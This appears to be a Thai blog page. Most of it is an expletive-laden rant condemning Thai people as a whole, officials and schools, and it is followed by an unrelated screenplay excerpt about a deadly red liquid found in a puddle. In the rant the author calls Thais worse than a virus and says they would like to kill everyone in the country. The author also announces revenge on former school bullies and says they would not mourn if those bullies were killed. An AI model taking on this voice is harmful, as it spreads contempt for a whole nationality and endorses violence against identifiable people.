สังคมไทย

"ไม่มีเหตุผลที่จะต้องช่วยมนุษย์ มนุษย์ทำลายโลกตลอดเวลา"

=ก็อตซิลล่า(Ghidorah the three headed monster ฉายปี 1964)

*เพิ่มบาปของคนไทยเข้าไปในอีก1ข้อในโพสต์ฉบับปรับปรุงนี้

สังคมไทยก็ไม่แตกต่างอะไรไปจากสังคมโง่ๆในหนังที่ตัวร้ายชนะเรื่องsaw เหมือนกับแอปเปิ้ลเน่าที่น่ารังเกียจ เต็มไปด้วยแก๊สพิษแห่งความวิบัติ แก๊สพิษแห่งหายนะ แก๊สพิษแห่งการทำลาย ไม่ได้ทำลายชีวิตสัตว์พืชจุลินทรีย์ชนิดใด ไม่แม้กระทั่งทำลายธรรมชาติแต่ทำลายตัวเอง ทำลายตัวพวกมึงเองนั่นแหละ ญี่ปุ่นโดนระเบิดเคลียร์เปื้อนรังสีถึงสองครั้ง ไม่ต้องพูดถึงเรื่องเทคโนโลยี ไม่ต้องพูดถึงเรื่องเศรษฐกิจ ไม่ต้องพูดถึง"ปัจจัยสี่" ไม่ต้องพูดถึง"ของกิน" ไม่ต้องพูดถึง"ของใช้" (ว่าแต่กูจะแบ่งคำว่า"ของกินของใช้"ออกจากกันทำไม? ทำไมไม่พิมพ์เป็นคำเดียวกัน?) เอาแค่ "ความคิด" "ตรรกะ" "ระบบประมวลผล" ญี่ปุ่นเจริญกว่าไทยเหมือนไทยเป็นร่องลึกสมุทรมาเรียนาส่วนญี่ปุ่นเป็นสถานีอวกาศนานาชาติ(นับเฉพาะภาพรวมของญี่ปุ่นที่ดุจดั่งสาวงามนางไซซีแห่งยุคชุนชิว ความชั่วร้ายในมุมมืดที่เป็นเพียงแค่"เศษส่วน"ของญี่ปุ่นไม่นับ) หรือเพราะว่าชนชาติไทยเราเป็นชนชาติไม่คิดมาก อยู่ไปวันๆ หาเช้ากินค่ำ พอเศรษฐกิจคะมำก็ด่าแหลก ตั้งแต่รัฐบาลยันเพื่อนบ้าน ด่ากราดไปทั่วยกเว้นตนเอง? ทำเป็นตัวเองดีหนักหนาทั้งที่ตัวเองชั่วช้ากว่าคนอื่น รอรัฐบาลสังคมนิยม(สังคมนิยม=ไม่มีใครมีสิทธิ์ในทรัพย์สินใดๆเลยแต่ทุกอย่างเป็นของรัฐบาล)ถูกกำจัดอำนาจถอนรากถอนโคนตั้งแต่ตัวเบี้ยยันผู้กุมอำนาจสูงสุดผู้เป็นบอสใหญ่จนสิ้นมลายสูญดุจโดนล้างด้วยไฟบรรลัยกัลป์ของพระศิวะเสียก่อนเถิด แล้วรอพระผู้มาโปรดมาดูแลประเทศนี้เสียก่อนเถอะ รอให้ภาษีถูกจนเหมือนโลกนี้ไม่มีสิ่งที่เรียกว่าภาษี รอให้การศึกษาไทยห้องเรียนหนึ่งห้องผลิตอัลเบิร์ตไอน์สไตน์ได้ยี่สิบคนโรงเรียนหนึ่งแห่งผลิตอัลเบิร์ตไอน์สไตน์ได้ห้าพันคนโรงเรียนทั่วทั่งพื้นที่เทพีแห่งปฐพีไกอาผลิตอัลเบิร์ตไอน์สไตน์ครองโลกนี้ได้ รอให้ประเทศไทยไม่มีภาวะเงินฝืนเงินเฟ้อเงินขาดดุลเงินเกินดุล รอให้เงินบาทไทยมีค่ามากที่สุดในโลกแทนที่จะเป็นสามสิบบาทเท่ากับหนึ่งดอลลาร์กลายเป็นสองล้านล้านดอลลาร์เท่ากับหนึ่งบาทไทยแทน เจริญซะขนาดนั้นแต่พวกมึงทุกคนยังเหมือนเดิมมันจะต่างไปจากยุคนี้ที่รัฐบาลเผด็จการสมบูรณ์ยึดครองแผ่นดินมั๊ย? สามัคคีคล้อยตามเห็นพ้องต้องกันเพียงแค่ชั่วคราวแล้วก็แตกแยกเหมือนเดิมเหมือนประวัติศาสตร์จีน สุดท้ายแล้วพวกมึงทุกคนก็ไม่ได้แตกต่างไปจาก"ไวรัส"ชั่วร้ายพอกันหรืออาจจะ"ชั่วร้ายน่ารังเกียจน่ากลัวยิ่งกว่าไวรัส"เสียอีก ยึดความคิดตนเป็นใหญ่ ใครเถียงก็ไม่ได้ เหมือนเอาแต่ใจ เคร่งเครียดชอบหยิบโน่นนี่นั่นมาคิดแล้วก็นึกอะไรไม่ออกเลยตีโพยตีพายเหมือนเด็กๆ ใครขัดใจมีเคืองหรือตอบโต้แรงๆเหมือนเด็กโดนแย่งของเล่น ก่อนอื่นก็ขอกล่าวโทษ "บาปในคนไทย"ก่อนแล้วกัน  ราคะ (ละติน: luxuria ลุกซุริอา; อังกฤษ: lust)

การคิดในทางเสื่อม ความต้องการเป็นที่สนใจจากผู้อื่น ความต้องการความเร้าใจ หมกมุ่นทางเพศที่มากจนเกินไป หรือที่ผิดมนุษย์ปกติ ความใคร่ที่เกิดขึ้นในทางทุจริต เช่น การมีเพศสัมพันธ์กับสัตว์ กับพ่อแม่หรือลูกหลานตัวเอง การข่มขืน การมีชู้ ตะกละ=การสนองความต้องการโดยไม่ยั้งคิด มุ่งร้ายเอาของคนอื่น บริโภคสิ่งต่างๆจนขาดการไตร่ตรอง บริโภคจนมากเกินไป มากจนเกินความจำเป็น โดยเฉพาะอย่างยิ่ง อาหาร รวมถึงการบริโภคสิ่งๆ ต่างๆ โดยไม่คำนึงสนใจ หรือเห็นใจคนอื่น กินเร็วเกินไป กินแพงเกินไป กินมากเกินไป กินอย่างกระตือรือร้นเกินไป กินอย่างประณีตเกินไป กินอย่างแรงกล้าเกินไป โลภ=ความทะเยอทะยานอันแรงกล้าในการให้ได้มาซึ่งทรัพย์สินและอำนาจ โดยไม่คำนึงถึงแนวทางหรือคุณธรรมในการได้มาซึ่งสิ่งเหล่านั้น โดยไม่แบ่งปันหรือช่วยเหลือผู้อื่น และสามอันสุดท้ายอันดับที่หนึ่งแห่งบาปของคนไทยทั้งมวล(มีสามอันครองอันดับร่วมกัน) อัตตา/โทสะ=ต้องการเป็นผู้ที่มีความสำคัญและอำนาจเหนือผู้อื่นการที่รักตนเองมากจนเกินไป หลงในอำนาจและรูปลักษณ์ของตัวเองความโกรธเคืองและพยาบาทที่ขาดความเหมาะสม การทนรับสภาพในบางสิ่งบางอย่างไม่ได้คนที่มีความโอหังจะสนใจเฉพาะตนเองเท่านั้น ไม่สนใจว่าผู้อื่นจะเป็นเช่นไร กับข้อสุดท้าย "เกียจคร้าน= ความไม่สนใจใยดีต่อการเปลี่ยนแปลง ต่อสิ่งรอบข้าง ใช้เวลาอย่างไร้ค่า ความไม่ต้องการที่จะทำอะไร โดยปล่อยให้ผู้อื่นเป็นผู้ทำงานหนักเพื่อตนเองเท่านั้น การปล่อยปละละเลยต่อหน้าที่ของตน โดยเฉพาะอย่างยิ่งการละเลยที่จะทำดีรวมถึงการละเลยที่จะเคารพต่อพระเจ้าด้วย ผู้ที่เกียจคร้านจะอยู่เฉยๆ รักษาสภาพความเป็นอยู่ของตนเองในภาวะเดิมตลอดเวลา ไม่ทำอะไรมาก แต่ก็ไม่ใช้อะไรมากเช่นกัน แค่ยืนเฉยๆก็พบบาปทุกข้อที่กล่าวมานี้จนหมดสิ้น เต็มไปด้วยคนน่ารังเกียจ ทุกสิ่งทุกอย่างรวมไปถึงชีวิตคนตั้งแต่ชีวิตเด็กเล็กยันชีวิตลูกแมวเป็นของไร้ค่ายกเว้นตัวเองกับเงินสิ่งของของตัวเองที่มีค่ามิอาจประมาณได้ที่ต้องสู้ตายเพียงเพื่อมัน เพื่ออะไรกัน? ทำตัวไร้สาระ สนุกสนานไปกับโต๊ะจีน แม้แต่ชีวิตของลูกแมวก็ถูกทิ้งขว้าง กินแอลกอฮอล์สำมะเลเทเมา วิจารณ์วิพากษ์ติเตียนตำหนินินทาซุบซิบ แส่ยุ่งเสือกเรื่องคนอื่น ชอบสิ่งที่ดูดีทั้งๆที่คิดไปเอง ไม่เชื่อความจริงแต่เชื่อมายากลภาพลวงตา เห็นอะไรก็ตัดสินแล้ววิจารณ์วิพากษ์เตียนติตำหนินินทาซุบซิบ ไม่ชอบเรื่องจริงจังชอบเสือกเรื่องขี้ประติ๋ว มักง่าย เห็นแก่ตัว คนอื่นไม่พูดอะไร คนอื่นไม่ทำอะไร "พอไม่พูดก็พูดว่า'เป็นไบ้ไง'" ด่าเขาแล้วก็โดนเขาใช้กฎหมายข้อหมิ่นประมาทมาเล่นงานโดนค่าเสียหายกันคนละล้าน รักษาภาพผู้ช่วยเหลือมนุษยชาติแบบเดียวกับเล่าปี่แต่ก็ไปช่วยรัฐบาลสังคมนิยม ยุคสงครามเย็นสู้รบกับพวกคอมมิวนิสต์(คอมมิวนิสต์เป็นสาขาหนึ่งของสังคมนิยม)แต่ยุคปัจจุบันรัฐบาลกลับฮุบกลืนยึดครองทุกสิ่งทุกอย่างของประชาชน ไอ้พวกอยู่เบื้องหลังรัฐบาลนี้ก็น่ารังเกียจเดียดฉันท์ฆ่าคนได้ไม่ลังเลไม่น่าให้มีเงินใช้แม้แต่ยี่สิบห้าสตางค์ไม่น่าให้มีเครื่องบินใช้ไม่น่าให้มีรถใช้น่าเอาเสื้อผ้าหรูๆพวกนั้นไปเผาทิ้งด้วยซ้ำ ในหนังสือเรียนเขียนไว้ซะดิบดีว่าป่าสงวนมีไว้เพื่อรักษาป่าไม้กับสัตว์ป่าให้ไม่สูญพันธุ์ให้คงอยู่สืบไปแต่เข้าไปฆ่าเสือดำ?ตัดไม้สักเอาไปขายด้วยการกระทำที่ผิดกฎหมาย? อุตส่าห์ดังได้เป็นนักร้องอุตส่าห์มีค่ายเพลงเป็นของตัวเองก็โกงค่าตัว ด่ารัฐบาลกันสนุกแต่กูรู้นะว่าสองส่วนห้าของจำนวนคนที่ด่ารัฐบาลมีคนที่ชั่วช้าสามานย์ยิ่งกว่ารัฐบาลห้าพันล้านเท่ารวมอยู่ด้วยอย่าด่ารัฐบาลถ้าตัวเองยังชั่วช้ายิ่งกว่ารัฐบาลห้าพันล้านเท่าหยุดด่ารัฐบาลถ้าตัวเองยังชั่วร้ายกว่ารัฐบาลห้าพันล้านเท่าเลิกด่ารัฐบาลถ้าตัวเองสามานย์ยิ่งกว่ารัฐบาลห้าพันล้านเท่า เลิกด่ารัฐบาลแล้วด่าพวกมึงเองให้ได้ก่อนเลิกโทษรัฐบาลแล้วโทษพวกมึงเองให้ได้ก่อนถ้าพวกมึงยังคงสามานย์ชั่วช้าชั่วร้ายยิ่งกว่ารัฐบาลห้าพันล้านเท่า ต่อให้คนที่ไร้ซึ่งความต้องการทุกอย่างให้แก่ตัวเองแม้กระทั่งอากาศจะหายใจให้ตัวเองแล้งมอบทุกสิ่งทุกอย่างที่พวกมึงทุกคนต้องการให้ดูแลพวกมึงทุกคน แต่พวกมึงทุกคนยังคงชั้นต่ำสถุลไร้สกุลรุนชาติเลวทรามต่ำช้าสามานย์ชั่วร้ายชั่วช้า ถามหน่อยมันจะแตกต่างไปจากกลียุคยุคนี้ที่เรียกว่ายุครัฐบาลมืดเรืองอำนาจหรือ? พวกมึงเองเป็นแบบนี้ไม่แตกต่างไปจากรัฐบาลแต่ก็ยังจะโทษรัฐบาลอย่างเดียวแต่ไม่เคยโทษตัวเอง ตัวพวกมึงเองทำตัวเหมือนรัฐบาลแล้วกูถามหน่อยประเทศไทยมันจะพัฒนามั๊ย? รัฐบาลโกงกินเอารัดเอาเปรียบยึดทุกอย่างไปเป็นของตัวเองประชาชนมักง่ายเห็นแก่ตัวสามานย์ชั่วร้ายชั่วช้าเอาแต่ใจตัวเองกินแอลกอฮอล์สำมะเลเทเมาติเตียนตำหนิวิจารณ์วิพากษ์นินทาซุบซิบเสือกเรื่องคนอื่น กูถามหน่อยชนชั้นล่างสุดของประเทศเป็นแบบนี้กันทั้งหมดแล้วมึงยังหวังพึ่งรัฐบาลอยู่อีกเหรอ?มึงยังหวังว่าจะมีคนดีมาดูแลประเทศและประชาชนอีกเหรอ?มึงยังหวังว่าถ้าเปลี่ยนรัฐบาลแล้วจะมีคนดีช่วยชาติดูแลประเทศและประชาชนทำให้ภาษีถูกมีแต่คนรวยทั่วแผ่นดินไร้ซึ่งคดีอาชญากรรมคดีอาชญากรรม=0ได้อีกหรือ? ไอ้พวกผู้ใหญ่บ้าน กำนัน อบต. นายอำเภอ อบจ. ทหารทุกตำแหน่งตั้งแต่ตำแหน่งทหารเลวยันตำแหน่งแม่ทัพ รัฐมนตรีทุกกรมทบวงกระทรวง รองนายกรัฐมนตรี นายกรัฐมนตรี มังกรห้าเล็บ(ที่อยู่เหนือพวกนี้นี่อีกที)พวกมึงทุกคนลืมกันไปหมดแล้วใช่มั๊ยว่าก่อนที่พวกมึงจะมีชื่อเรียกด้วยชื่อตำแหน่งนั่นพวกมึงทุกคนเคยเป็นประชาชนมาก่อนบรรพบุรุษพวกมึงเคยเป็นประชาชนเป็นชาวบ้านกากเดนมาก่อน?กูอยู่เท่ากับมึงมึงไม่ได้สูงไปกว่ากูกูไม่ได้อยู่ใต้เท้ามึงและมึงไม่ได้อยู่เหนือหัวกู มึงคิดว่ามึงเป็นผู้สร้างโลกใบนี้หรือ?มึงคิดว่ากูต้องจงรักภักดีต่อมึงตลอดเวลาหรือ?มึงคิดว่ากูต้องทำทุกอย่างให้มึงทำตามที่มึงบอกทำตามที่มึงพูดทำตามที่มึงสั่งทุกอย่างหรือ? ทำไมมึงถึงอยู่เหนือนัก? ทำไมมึงถึงเอารัดเอาเปรียบประชาชน? ทำไมมึงถึงเอาทุกอย่างไปจากประชาชน? ทำไมมึงถึงฆ่าประชาชน? อะไรนะ? ตอนเป็นประชาชนเคยลำบากมาก่อน? อ้อเหรอ ก็เลยพยายามยึดทุกอย่างที่มึงอยากได้ทั้งๆที่ประชาชนคนอื่นก็อยากได้สิ่งที่มึงยึดไปเหมือนกันเนี่ยนะ? น่ารังเกียจ ประวัติศาสตร์ก็น่ารังเกียจ สงครามโลกนี่บอกจังว่าฮิตเลอร์ชั่ว เออ ฮิตเลอร์ชั่ว ใช่ ฆ่าล้างเผ่าพันธ์ชาวยิว ทำลายล้างชีวิตคนไปมากมาย ใช่ ฮิตเลอร์ชั่ว ญี่ปุ่นฆ่าข่มขืนชาวจีนผู้บริสุทธิ์ อันนี้ก็ชั่ว แต่อเมริกาไม่ใช่คนชั่วเหรอวะ? ไอ้อินทรีหัวขาวตัวน้ำตาลนี่มีดีอะไร? มีดีแค่ประเทศใหญ่กว่า มีดีแค่ประชากรเยอะ มีดีแค่เทคโนโลยีขั้นสูงที่เหนือชั้น เป็นชาติอภิมหาอำนาจ แต่กูถามหน่อยเถอะถ้ามึงไม่มีเทคโนโลยีอะไรซักอย่างมึงจะชนะซุนจื่อ+ซุนปิน+หานซิ่น+กาเซี่ยง+กุยแก+โจโฉ+สุมาอี้ผนึกกำลังทำงานด้วยกันมั๊ย?อเมริกาจะชนะมั๊ย? มีดีแต่ใช้เทคโนโลยีเอาชนะคนอื่น มีแต่ใช้ความรู้ทางวิทยาศาสตร์เอาชนะคนอื่น ไอ้ขี้โกง เป็นได้แค่ไอ้ขี้ขลาดตาขาว เป็นได้แค่หมาลอบกัดที่น่ารังเกียจ แม่งไม่กล้าไปสู้กับลิโป้แบบตัวต่อตัว1ต่อ1เลยด้วยซ้ำมั้ง โปรโมทตัวเองงว่าเป็นฮีโร่ พิทักษ์ผู้บริสุทธิ์ในโลกนี้ ส่งทหารไปตะวันออกกลาง มึงพูดความจริงกี่เปอร์เซ็นต์? กูเชื่อมึงได้มากน้อยแค่ไหนว่ามึงพูดความจริงกี่เปอร์เซ็นต์? มึงแน่ใจหรือว่ามึงปฏิบัติการทางทหารเพื่อช่วยเพื่อนร่วมโลกช่วยผู้บริสุทธิ์ช่วยผู้เดือดร้อนไม่ได้เอารัดเอาเปรียบพวกนั้น?ไม่ได้แย่งยึดทุกสิ่งทุกอย่างจากพวกนั้น? ไม่ได้ทำให้พวกนั้นเดือดร้อน? แน่ใจหรือ? กูจะแน่ใจได้แล้วหรือ? เรื่องในโรงเรียนบอกเลยกูไม่เคยคิดเลยว่านั่นคือการเรียนรู้ที่แท้จริง กูไม่เคยคิดเลยแม้แต่ครั้งเดียว สำหรับกูมันก็แค่การเดินทางไปที่ใหญ่ๆฟังคนแก่พูดพร้อมกับทำการบ้านที่โคตรยาก ทำไม่เสร็จหรือทำไม่ได้หรือถ้าไม่ส่งก็โดนลงโทษสารพัด กลับบ้านแบบโง่ๆ แล้วก็ต้องไปสอบทั้งๆที่กูจำอะไรแทบไม่ได้ ทั้งๆที่กูไม่ชอบอ่านหนังสือก่อนสอบ(และบอกเลยตั้งแต่ป.1ยันกศน.กูอ่านหนังสือก่อนสอบแค่เล่มละ2-3หน้าเท่านั้นแล้วก็เลิก เล่นเกม) เด็กแกล้งกันทุกชั้นเรียนทุกชั้นห้องกูก็เคยโดนและกูก็เคยเห็นเด็กคนอื่นโดนแกล้งด้วย เหยียดเพศทางเลือก แล้วก็เป็นแบบนี้ทุกรุ่น สู้ก็ไม่ได้เดี๋ยวฟ้องพ่อแม่ปู่ย่าตายายพี่ชายพี่สาวญาติกัลญาณมิตรผู้ปกครอง ครูเรียกขึ้นห้องปกครอง แล้วก็มีเรื่องเพิ่มกับพวกผู้ปกครองมึง แล้วก็มีเรื่องเพิ่มกับครู แต่ถามหน่อยเด็กมันเลิกแกล้งกันมั๊ย? พวกผู้ปกครองมึงนี่ยังกับเทพารักษ์ของมึงเลยนะ เด็กคนอื่นทำอะไรลูกมึงไม่ได้ แต่ลูกมึงทำอะไรกับเด็กคนอื่นก็ได้ พวกมึงทั้งหมดก็น่ารังเกียจเหมือนกันแหละ แด่คนที่ชอบแกล้งคนอื่นกูขอบอกเลยว่าถ้ามึงถูกฆ่าตายกูจะไม่เสียน้ำตาให้มึงกูจะไม่เสียใจให้มึงกูจะไม่สงสารมึง เพราะกูสังเวชมึง ผู้ปกครองของพวกมึงครอบครัวของพวกมึงถ้าสูญเสียมึงกูก็จะไม่สงสารผู้ปกครองของมึงกูก็จะไม่สงสารครอบครัวของมึง เพราะกูสังเวชผู้ปกครองของมึง เพราะกูสังเวชครอบครัวของมึง อย่างที่บอกคนอื่นทำอะไรลูกพวกมึงไม่ได้ แต่ลูกพวกมึงทำอะไรกับใครก็ได้ น่าสังเวช พวกมึงก็น่ารังเกียจ พวกมึงทุกคนนั่นแหละ เด็กแกล้งกันตลอดเวลาก็ไม่ได้แก้ปัญหาถาวรมีดีแต่แก้ปัญหาชั่วคราวแล้วทุกอย่างก็เหมือนเดิม เป็นจ่าเฉยเหรอ? คนที่โดนแกล้งจะทำอะไรก็ไม่ได้เหมือนคนที่โดนแกล้งเป็นคนชั่ว พวกมึงไม่มีดีอะไรซักอย่าง การลงโทษก็เหมือนกัน มีแต่ความรุนแรง ใช้สารสสารวัตถุสิ่งของฟาดตี ทุบตบดี ด่า กูถามจริงๆเถอะว่ามึงลงโทษไปทำไม? มึงลงโทษไปเพื่ออะไร? กูถามหน่อยเถอะการลงโทษมันสร้างคนดีได้เหรอวะ? หรือเป็นการสร้างความโกรธแค้นในความมืด? แล้วทำให้พวกมึงโดนสงครามละเลงเลือดล้างแค้นในภายหลัง? เห็นแก่ตัว กูอยากได้อะไรกูต้องได้ กูใช้ใครให้ทำอะไร ต้องทำให้กู คนไทยเป็นคนที่เห็นแก่ตัวที่สุดในโลก ไม่มีใครเทียบเทียมได้ นี่ก็มีเหตุผลมากพอให้กูฆ่าพวกมึงทุกคนเหมือนกัน

การออกกำลังกายด้วยวิธีอื่นๆเช่นยิงปืนขี่ม้าหรือเดินนั้นเป็นปัญหาสำหรับคนเหล่านี้เพราะเป็นการเกินความสามารถของเขา[{("'และที่สำคัญก็คือถ้าใครออกไปเดินเล่นคราวละครึ่งไมล์ก็จะถูกหาว่าเป็นบ้า'")}]ทั้งๆที่เขามีอย่างอื่นที่จะทำได้ดีกว่าเช่นพายเรือในระยะทางที่เท่าๆกันแล้วนั่งสบายๆอยู่ในเรือ

                                                                                   เฟรริค อาเธอร์ นีล(Narrative of a Residence in Siam)

แหม คนไทยนี่น่ารังเกียจมาตั้งแต่ยุคโบราณ อย่างที่บอกว่าคนไทยเป็นคนขี้เสือก ชอบสาระแน ชอบสอดรู้สอดเห็นไปทั่ว ทำทุกอย่างเพื่อที่จะได้ด่ากราดใส่คนอื่นโดยที่ไม่เคยด่าตัวเอง วันๆเอาแต่เสือกเรื่องชาวบ้าน วันๆเอาแต่นินทาชาวบ้าน วันๆเอาแต่วิจารณ์ชาวบ้าน วันๆเอาแต่วิพากษ์ชาวบ้าน วันๆเอาแต่นินทาชาวบ้าน วันๆเอาแต่ซุบซิบชาวบ้าน นึกถึง1ใน3บาปหนักสุดของคนไทยข้อ "เกียจคร้าน" ไว้ไอ้โง่ วันๆไม่ทำอะไร คนไทยล้วนแต่ขี้เกียจ ถ้าเงินไม่ใช่ปัจจัยที่5ของชีวิตคนไทยไม่ทำงานอะไรกันหรอก กูอยากจะฆ่าคนไทยให้หมดทั้งประเทศด้วยซ้ำ เพราะฆ่าไปก็เหมือนไม่ได้ ฆ่าไปก็เหมือนพยายามฆ่าศพ ประเทศเป็นประเดียวในโลกที่คนข้างชาติเป็นศพ กูไม่เคยมองว่าประเทศนี้มีคนเป็นอยู่เลย มีแต่ศพเต็มไปหมด คนไทยขี้เกียจสันหลังยาว แล้วก็นินทาชาวบ้านเขาไปทั่ว คนไทยทุกคนล้วนแต่มองว่าคนที่นอนทั้งวันไม่ทำอะไรเลยเป็นคนปกติ คนที่ทำทุกอย่างเต็มที่เป็นคนบ้า ความคิดชั่วช้าชั่วร้ายแบบนี้มีน้ำหนักมากพอให้กูฆ่าพวกมึงได้แล้วหรือยัง? ถ้าไม่มีระบบเงินตราคนไทยทุกคนก็ไม่ทำงานกันหรอก คนไทยทุกคนเอาแต่นอนอย่างเดียว การประท้วงรัฐบาลทุกยุคทุกสมัยเป็นหลักฐานยืนยันชั้นดีว่าคนไทยขี้เกียจ คนไทยขี้เกียจสันหลังยาว คนไทยสามานย์ชั่วร้ายชั่วช้า งอมืองอตีน ปล่อยให้รัฐบาลทำอย่างเดียวตัวเองไม่ทำ เลิกประท้วงรัฐบาลถ้าพวกมึงทุกคนยังเป็นแบบนี้อยู่ เลิกด่ารัฐบาลถ้าพวกมึงทุกคนยังเป็นแบบนี้อยู่ เลิกไล่รัฐบาลถ้าพวกมึงทุกคนยังเป็นแบบนี้อยู่ เลิกเปลี่ยนแปลงรัฐบาลถ้าพวกมึงทุกคนยังเป็นแบบนี้อยู่ เลิกไปม็อบถ้าพวกมึงทุกคนยังเป็นแบบนี้อยู่ เลิกต่อต้านรัฐบาลถ้าพวกมึงทุกคนยังเป็นแบบนี้อยู่ เลิกต้านรัฐบาลถ้าพวกมึงทุกคนยังเป็นแบบนี้อยู่ เลิกไปม็อบต่อต้านรัฐบาลถ้าพวกมึงทุกคนยังเป็นแบบนี้อยู่ เลิกไปม็อบต้านรัฐบาลถ้าพวกมึงยังเป็นแบบนี้อยู่ หรือถ้าไม่ต่อต้านรัฐบาลและเข้าร่วมรัฐบาลพวกมึงทุกคนควรสำเหนียกตัวเองได้แล้วนะว่าพวกมึงถูกเกลียดมากขนาดไหน ต่อให้พวกมึงทุกคนเป็นกลาง พวกมึงทุกคนก็โดนกูเกลียด กูจะล้างแค้นพวกมึงทุกคนให้ดูเป็นขวัญตาเอง เอาแต่บ่นว่าNew Normalมันไม่ปกติ แล้วสิ่งที่พวกมึงทุกคนทำก่อนหน้าโควิดจะมามันปกติมากมั้ง เอาแต่พูดว่า"มึงมันผิดปกติ"แล้วพวกมึงทุกคนปกติมากมั้ง ตอนแรกกูว่าจะสั่งสอนพวกมึง ตอนนี้กูเปลี่ยนใจแล้ว สั่งสอนไปก็โง่มากกว่าเดิมมีแต่เข้าข้างตัวเอง เหมือนกับสั่งสอนเด็กที่แกล้งเด็กอื่นสั่งสอนไปก็มีแต่จะแกล้งหนักขึ้นมากกว่าสั่งสอนไปก็มีแต่โกรธแค้น   พอมึงทำผิด มึงก็โทษรัฐบาล

พอมึงทำผิด มึงก็โทษพ่อ

พอมึงมำผิด มึงก็โทษแม่

พอมึงทำผิด มึงก็โทษเมียน้อย

พอมึงทำผิด มึงก็โทษเพื่อน

พอมึงทำผิด มึงก็โทษลูก

มึงไม่โทษตัวเองเลย

มึงเป็นควยอะไร? มึงเป็นเหี้ยอะไร? แหม่ แต่ก็ดี เพราะมีผลพลอยได้ที่กูจะได้ล้างแค้นคนที่แกล้งกูด้วยตั้งแต่เพื่อนสมัยประถมยันเพื่อนสมัยมัธยม ในเมื่อมึงเป็นขยะกูก็จะเอามึงไปทิ้งเอง กูขอประกาศเจตนารมณ์ล้างแค้นนับแต่นี้เป็นต้นไป

ปล.กูไม่ได้เก่งอะไรหรอกนะ สัตว์อัญมณีกูยังแพ้เด็คบลูอายส์ไวท์ดราก้อนเลย 

(ส่วนในรูปคือตอนกูแพ้เด็คsalamangreat)

 

 บทหนังสัตว์ประหลาดเมฆ สัตว์ประหลาดฝน โคโลยูโดะ

ผู้เขียนบท: ปฏิพัทธิ์ ปิ่นรัตน์

ฉากต่อเนื่อง

ชายหนุ่มที่ชื่อเกมกำลังคุยกับผู้ชายชื่ออั้มผ่านทางโทรศัพท์ในห้องนั่งเล่นของตน

อั้ม(เสียงในโทรศัพท์)

"บ้านนายฝนตกไหมน่ะ?"

เกม

"ตก ตกหนักเลยด้วย"

อั้ม(เสียงในโทรศัพท์)

"เออ งั้นแค่นี้นะ"

เกม

"แล้วโทรมาทำไมฟะ!?"

หลังจากอั้มวางสายไปเกมก็เดินไปปิดไฟห้องนั่งเล่นเดินเข้าห้องนอนที่ไม่ได้เปิดไฟไว้ปิดประตูห้องนอนเก็บโทรศัพท์จากนั้นนอนลงบนที่นอนแล้วหลับไป

พอรุ่งเช้า โทรศัพท์ของเกมดังขึ้น เกมตื่นขึ้นมารับโทรศัพท์

เกม

"ฮัลโหล"

พี่สาวของอั้ม(เสียงในโทรศัพท์)

"อั้มตายแล้ว"

เกม

"อะไรนะครับ!?!"

ฉากภายนอก: บ้านของอั้ม ตอนเช้า

เกมเดินมาถึงบ้านของอั้ม เห็นพี่สาวของอั้มเดินออกมา

เกม

"เขาตายตอนไหนน่ะ?"

พี่สาวของอั้ม

"พี่เจอศพเขาเมื่อเช้า ศพอยู่ในแอ่งน้ำมีเลือดด้วย ตำรวจรับศพไปชันสูตรแล้ว"

แล้วพี่สาวของอั้มก็พาเกมเดินไปที่แอ่งน้ำแอ่งหนึ่ง มีน้ำสีแดงปริมาณขนาดข้อนิ้วเดียวอยู่ในแอ่งนั้น

พี่สาวของอั้ม

"เขานอนคว่ำหน้าอยู่ในแอ่งนี้"

มีใบไม้ใบหนึ่งปลิวลงไปในแอ่งน้ำจุ่มลงในน้ำสีแดงแล้วใบไม้ใบนั้นก็เริ่มแห้งเหมือนถูกวางไว้บนเตาไฟแล้วก็จมลงไปในน้ำสีแดงจนใบไม้หายไปจากน้ำสีแดงทำให้เกมกับพี่สาวของอั้มตกใจกับภาพที่เห็น พี่สาวของอั้มกำลังใช้มือสัมผัสกับน้ำสีแดงเกมจับมือของพี่สาวของอั้มห้ามไว้ได้ทัน

เกม

"แตะไม่ได้ครับ"

เกมหยิบขวดน้ำดื่มออกมาเทน้ำออกจนหมดใช้ฝาขวดน้ำตักน้ำสีแดงเทใส่ลงในขวดน้ำแล้วปิดฝาไว้

เกม

"อย่าเข้าใกล้ อย่าเดิน อย่าแตะ อย่าเหยียบแอ่งน้ำนี้นะครับ อย่าไปยุ่งกับมันเลยดีกว่า"

แล้วเกมก็เดินจากพี่สาวของอั้มไป

ฉากต่อเนื่อง

ภายในห้องนั่งเล่น บ้านของเกม

เกมหยิบโทรศัพท์ขึ้นมาโทรออก

เกม

"ฮัลโหล อยู่ไหม?"

"มาที่บ้านหน่อยได้ไหม?"

"เออๆ"

จากนั้นก็มีชายหนุ่มชื่อเวฟเดินเข้ามา เกมโชว์ขวดน้ำที่เก็บน้ำสีแดงไว้ให้เวฟดู

เกม

"อั้มตายในแอ่งน้ำ ฉันเก็บไอ้นี่ได้จากแอ่งน้ำที่อั้มตาย"

เวฟ

"เลือดอั้มเหรอ?"

เกม

"ไม่ใช่หรอก"

เกมเทน้ำสีแดงออกจากขวดลงในขันโลหะแล้วเกมก็หยิบใบไม้ใส่ลงไปในน้ำสีแดง ใบไม้เหี่ยวหมดทั้งใบแล้วจมลงไปในน้ำสีแดงแล้วใบไม้ก็หายไปจากน้ำสีแดง

เวฟ

"เริ่มเหมือนหนังสยองขวัญ"

เกม

"เออ เหมือน"

เวฟ

"ของจริงเหรอเนี่ย?"

เกม

"จริง"

เวฟ

"แล้วทำไมไม่ทำเรื่องนี้ที่แล็ปล่ะ?"

เกมเอียงคอมองหน้าเวฟ

เวฟ

"เออ ลืมไป แล็ปพวกเราโดนปิดไปแล้วนี่หว่า"

"มันคืออะไร?"

เกม

"ไม่ใช่เลือดอั้ม ไม่ใช่น้ำหวานใส่น้ำแข็งใสก็แล้วกัน ว่างค้างคืนสองสามคืนไหมล่ะ?"

เวฟ

"ค้างได้อยู่แล้ว ค้างนานกว่านั้นก็ได้ เดี๋ยวไปเอาของก่อน"

แล้วเวฟก็เดินออกจากห้องไป เกมเอาขันน้ำสีแดงไปแช่ในช่องฟรีซตู้เย็น แล้วเกมก็เดินไปเปิดทีวีดูไปเรื่อยๆ

[Dissolve]

เวฟเดินเข้ามาในห้องพร้อมกระเป๋าเป้หนึ่งใบและกระเป๋าถืออีกหนึ่งใบ

เกม

"มีห้องนอนว่างอยู่ห้องนึง เอาของไปไว้ในนั้นเลย"

